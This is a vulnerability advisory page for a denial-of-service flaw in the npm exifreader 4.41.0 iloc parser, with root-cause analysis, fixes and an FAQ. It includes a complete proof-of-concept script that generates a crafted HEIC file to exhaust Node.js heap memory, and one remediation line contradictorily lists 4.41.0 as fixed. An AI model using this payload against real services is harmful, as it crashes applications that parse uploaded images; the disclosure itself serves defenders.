GHSA-pj96-35fp-cfcc: High severity npm/exifreader vulnerability

Published Sep 17, 2026
·
Updated

Summary ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.

Affected version tested

- npm package: exifreader - Version: 4.41.0 - Affected formats: HEIC, AVIF (ISO-BMFF container)

Root cause

File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().

The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):

| Field | Controls | |-------|----------| | offsetSize | Bytes per extent offset | | lengthSize | Bytes per extent length | | baseOffsetSize | Bytes per item base offset | | indexSize | Bytes per extent index |

The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:

javascript for (let j = 0; j < item.extentCount; j++) { const extent = {}; extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize); offset += sizes.item.extent.extentIndex; // 0 when indexSize=0 extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize); offset += sizes.item.extent.extentOffset; // 0 when offsetSize=0 extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize); offset += sizes.item.extent.extentLength; // 0 when lengthSize=0 item.extents.push(extent); // allocates unconditionally } When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.

Reproduction

Save the following as pocilocdos.js and run with Node.js against the bundled dist/exif-reader.js:

javascript const fs = require('fs'); const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');

function u32be(n) { return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255]; } function u16be(n) { return [(n >>> 8) & 255, n & 255]; } function str(s) { return Array.from(Buffer.from(s, 'ascii')); } function box(type, content) { return [...u32be(8 + content.length), ...str(type), ...content]; }

const ITEMS = 10000; const EXTENTS = 65535;

const ftyp = box('ftyp', [ ...str('heic'), ...u32be(0), ...str('mif1'), 0, 0, 0, 0, ]);

const ilocPayload = [ 0, 0, 0, 0, 0, 0, ...u16be(ITEMS), ];

for (let i = 0; i < ITEMS; i++) { ilocPayload.push(...u16be(i + 1)); ilocPayload.push(...u16be(0)); ilocPayload.push(...u16be(EXTENTS)); }

const iloc = box('iloc', ilocPayload); const meta = box('meta', [0, 0, 0, 0, ...iloc]); const data = Uint8Array.from([...ftyp, ...meta]);

fs.writeFileSync('/tmp/pocilocdos.heic', data);

console.log(${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS EXTENTS 80) / (1024 3)).toFixed(0)} GB expected);

const start = Date.now(); const timeout = setTimeout(() => { console.log([DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s); process.exit(1); }, 30000);

try { ExifReader.load(data.buffer); clearTimeout(timeout); console.log(Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s); } catch (e) { clearTimeout(timeout); console.log(Error: ${e.message}); }

Scaled test results Run the above with different ITEMS values:

| Items | File size | Extent objects | Parse time | Heap growth | |-------|-----------|---------------|------------|-------------| | 1 | 58 bytes | 65,535 | 0.03s | +4 MB | | 5 | 82 bytes | 327,675 | 0.17s | +16 MB | | 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB | | 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash | | 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) | <img width="1839" height="588" alt="image" src="https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02" />

Expected behavior

A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either: 1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or 2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).

Security impact

This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.

Note: The impact is established using ExifReader's existing distributed (dist/exif-reader.js) code.

Suggested fix

In src/image-header-iso-bmff-iloc.js, in the getItems() function, add a maximum per-item extent limit:

javascript const MAXEXTENTSPERITEM = 10000;

for (let j = 0; j < item.extentCount; j++) { if (item.extents.length >= MAXEXTENTSPERITEM) { break; } // ... existing code ... }

Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:

javascript if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) { // Fields are absent per spec; nothing meaningful to read // Still advance offset if extentCount > 0 to maintain correctness continue; }

Affected Software

1 affected componentFixes available
npm/exifreader<=4.41.0
4.41.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/exifreader to a version that resolves this vulnerability.

    Fixed in 4.41.1
  2. Upgrade

    Upgrade exifreader to a version that resolves this vulnerability.

    Fixed in 4.41.0
  3. Configuration

    In src/image-header-iso-bmff-iloc.js getItems(), add a maximum per-item extent limit so item.extents.length is capped (e.g., before item.extents.push(extent)).

    ExifReader iloc parser (src/image-header-iso-bmff-iloc.js, function getItems()) maximum extent objects allocation per item = Cap extent allocations per item (e.g., per-item limit such as MAX_EXTENTS_PER_ITEM=10000)

Event History

Sep 17, 2026
Advisory Published
via GitHub·04:30 PM
Data Sourced
via GitHub·04:30 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Deployments using the npm exifreader package version 4.41.0 are known to be affected when they parse HEIC or AVIF files. Exposure is most relevant where those files can originate from untrusted sources.

2

What must an attacker provide to trigger the issue?

An attacker needs to cause the application to parse a crafted HEIC or AVIF ISO-BMFF file containing an iloc box with offsetSize, lengthSize, and baseOffsetSize set to zero. No authentication or user interaction is indicated by the supplied severity vector.

3

What is the practical impact on a Node.js service?

Parsing the malicious file can cause unbounded JavaScript object allocation and exhaust heap or system memory, crashing the Node.js process with a JavaScript heap out-of-memory error. The report states that a 652-byte file caused 400 MB of heap growth and a 6 KB file exhausted system memory.

4

How can I identify potentially affected usage?

Check whether your dependency inventory includes npm package exifreader at version 4.41.0, and identify code paths that parse HEIC or AVIF inputs. The supplied data confirms 4.41.0 as affected but does not state the complete affected version range.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203